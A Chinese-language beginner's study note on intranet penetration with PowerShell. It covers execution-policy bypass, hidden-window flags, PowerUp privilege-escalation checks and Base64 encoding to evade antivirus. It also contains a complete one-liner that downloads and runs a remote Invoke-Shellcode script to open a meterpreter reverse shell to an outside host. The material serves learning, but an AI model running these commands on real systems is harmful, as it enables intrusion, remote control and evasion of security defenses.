0x01 前言
还是回归常态了 有道云笔记用的我不太舒服 用这个记一下笔记吧 ,最近开始学内网渗透方面,但是也没有一个那种系统的学习方法,就先啃着这本书在看看一些大佬的文章来入门。文章随缘写,巩固基础 ,看到哪写到哪,我在思考分开写文章还是合理来就在这篇保持更新
0x02 PowerShell的使用
1.PowerShell的执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用:Get-ExecutionPolicy
命令查看PowerShell当前的执行策略。它有4个策略。
Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行;
Unrestricted:允许所有的脚本执行
可用这条cmdlit命令设置PowerShell的执行策略Set-ExecutionPolicy
注:PowerShell命令不区分大小写
2.常用方法
首先,一个PowerShell脚本其实就是一个简单的文本文件,需要在文件名后加上.ps1
拓展名
其次想要运行PowerShell脚本,必须用管理员权限将策略从Restricted变成Unresttricted 那么我们在渗透时,就要用一些方法去绕过策略
(1)绕过本地权限并执行
PowerShell.exe -ExecutionPolicy Bypass -File Npce3r.ps1
参数说明:
-ExecutionPolicy Bypass(-Exec Bypass): 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。
通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行PowerShell脚本时都要使用这个参数。-----校长
测试一下 好像对目录的要求还挺严格
写到这里搜了一下 powerup是一个powershell框架 Powerup
这里我看了一下我电脑自带了这个 用Get-Command -Module powerup
命令查看有没有
但是我猜可能渗透的时候目标服务器没有 所以都会写上传Powerup.ps1脚本?主要看到各种地方都写了这一步,不知道自己有哪里理解错了,就也写下来吧
通常,在Windows下可以通过内核漏洞来提升权限。但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候就需要利用脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器的脆弱点,进而同脆弱点实现提权的目的。
然后就可以Import-Moudule加载这个脚本了 下载的路径根据个人情况
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
Invoke-AllChecks
函数将检查目标主机的攻击向量以进行权限提升
该模块会自动执行PowerUp下所有的脚本来检查目标主机
(2)从网站服务器下载脚本绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile File xx.ps1
参数说明
-WindowStyle Hidden(-w Hidden):隐藏窗口
-NoLogo: 启动不显示版权标志的Powershell
-NoProfile(-Nop): PowerShell控制台不加载当前用户的配置文件
-NonInteractive(-NonI): 非交互模式.PowerShell不为用户提供交互式的提示
-noexit: 执行后不退出Shell(这个参数在使用键盘记录等脚本时非常重要)
顺便书上看不明白的在校长那看明白了
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234
这段是利用IEX下载远程PS1脚本绕过权限执行 链接处只能用单引号
隔壁文章拓展的我不太看得懂,因为我不会msf 等我会了再说
(3)使用Base64对PowerShell进行编码
使用 Base64 对 Powershell 命令进行编码的目的是混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀
可以使用python脚本对命令编码 脚本地址ps_encoder.py在使用这个脚本进行文本转换的时候,对象必须为文本文件
在上面命令后面加个> Npce3r.txt即可
然后给ps_encoder.py
授予执行权限
chmod +x ps_encoder.py
(默认是用kali的 所以windows当然不行 别问这种奇怪的问题)
编码
./ps_encoder.py -s raw.txt
3.运行32位和64位PowerShell
一些PowerShell脚本只能运行在指定的平台上
在64位的windows系统中存在两个版本的powershell 一个x64一个x86 两个版本的执行策略不会互相影响 x64版本配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\
所以执行的命令如下
32位
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64位
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
暂且休息 搭建内网环境过段时间再说